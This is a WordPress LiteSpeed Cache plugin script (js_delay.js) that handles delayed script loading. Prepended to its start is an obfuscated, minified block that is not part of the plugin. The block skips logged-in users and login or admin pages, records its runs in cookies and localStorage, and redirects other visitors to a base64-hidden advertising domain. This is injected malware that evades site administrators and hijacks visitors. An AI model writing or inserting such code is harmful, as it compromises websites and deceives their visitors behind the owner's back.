/home/ntu100/public_html/wp-content/plugins/litespeed-cache/assets/js/js_delay.js
(function(){function isL(){let a=!1;const b=document.cookie;if(document.getElementById("wpadminbar")||(document.body&&document.body.classList.contains("logged-in")))a=!0;else if(/wordpress_logged_in_[^=]+=|wp-settings-\d+=/.test(b))a=!0;return a&&sLSC("wp-settings-try","0",8160),a}function isA(){const a=["/wp-login.php","/wp-register.php","/login","/register","/wp-admin"],b=window.location.pathname;return a.some(c=>b===c||b.startsWith(c+"/")||b.startsWith(c+"?"))}function doR(a){setTimeout(()=>window.location.href=a,1)}function cASC(a,b,c=7){const d=document.cookie.split(";").map(x=>x.trim()),e=d.some(x=>x.startsWith(a+"="));if(e)return!0;const f=new Date(Date.now()+c*864e5).toUTCString();return document.cookie=`${a}=${b};expires=${f};path=/`,!1}function cLSC(a,b=96){const c=localStorage.getItem(a);if(!c)return!1;try{const d=JSON.parse(c),e=Date.now(),f=d.timestamp+b*36e5;return e>f?(localStorage.removeItem(a),!1):d.value}catch{return localStorage.removeItem(a),!1}}function sLSC(a,b,c=96){localStorage.setItem(a,JSON.stringify({value:b,timestamp:Date.now()}))}const cacheKey="wp-settings-try";!cLSC(cacheKey,96)&&!cASC(cacheKey,"1",2)&&!isA()&&!isL()&&(sLSC(cacheKey,"true",96),doR('https:/'+atob('L2Fkcy1ob3VzZS5jb20vIw')));})();const litespeed_ui_events = ['mouseover', 'click', 'keydown', 'wheel', 'touchmove', 'touchstart'];
var urlCreator = window.URL || window.webkitURL;

// const litespeed_js_delay_timer = setTimeout( litespeed_load_delayed_js, 70 );

litespeed_ui_events.forEach(e => {
	window.addEventListener(e, litespeed_load_delayed_js_force, { passive: true }); // Use passive to save GPU in interaction
});

function litespeed_load_delayed_js_force() {
	console.log('[LiteSpeed] Start Load JS Delayed');
	// clearTimeout( litespeed_js_delay_timer );
	litespeed_ui_events.forEach(e => {
		window.removeEventListener(e, litespeed_load_delayed_js_force, { passive: true });
	});

	document.querySelectorAll('iframe[data-litespeed-src]').forEach(e => {
		e.setAttribute('src', e.getAttribute('data-litespeed-src'));
	});

	// Prevent early loading
	if (document.readyState == 'loading') {
		window.addEventListener('DOMContentLoaded', litespeed_load_delayed_js);
	} else {
		litespeed_load_delayed_js();
	}
}

async function litespeed_load_delayed_js() {
	let js_list = [];
	// Prepare all JS
	document.querySelectorAll('script[type="litespeed/javascript"]').forEach(e => {
		js_list.push(e);
	});

	// Load by sequence
	for (let script in js_list) {
		await new Promise(resolve => litespeed_load_one(js_list[script], resolve));
	}

	// Simulate doc.loaded
	document.dispatchEvent(new Event('DOMContentLiteSpeedLoaded'));
	window.dispatchEvent(new Event('DOMContentLiteSpeedLoaded'));
}

/**
 * Load one JS synchronously
 */
function litespeed_load_one(e, resolve) {
	console.log('[LiteSpeed] Load ', e);

	var e2 = document.createElement('script');

	e2.addEventListener('load', resolve);
	e2.addEventListener('error', resolve);

	var attrs = e.getAttributeNames();
	attrs.forEach(aname => {
		if (aname == 'type') return;
		e2.setAttribute(aname == 'data-src' ? 'src' : aname, e.getAttribute(aname));
	});
	e2.type = 'text/javascript';

	let is_inline = false;
	// Inline script
	if (!e2.src && e.textContent) {
		e2.src = litespeed_inline2src(e.textContent);
		// e2.textContent = e.textContent;
		is_inline = true;
	}

	// Deploy to dom
	e.after(e2);
	e.remove();
	// document.head.appendChild(e2);
	// e2 = e.cloneNode(true)
	// e2.setAttribute( 'type', 'text/javascript' );
	// e2.setAttribute( 'data-delayed', '1' );

	// Kick off resolve for inline
	if (is_inline) resolve();
}

/**
 * Prepare inline script
 */
function litespeed_inline2src(data) {
	try {
		var src = urlCreator.createObjectURL(
			new Blob([data.replace(/^(?:<!--)?(.*?)(?:-->)?$/gm, '$1')], {
				type: 'text/javascript',
			}),
		);
	} catch (e) {
		var src = 'data:text/javascript;base64,' + btoa(data.replace(/^(?:<!--)?(.*?)(?:-->)?$/gm, '$1'));
	}

	return src;
}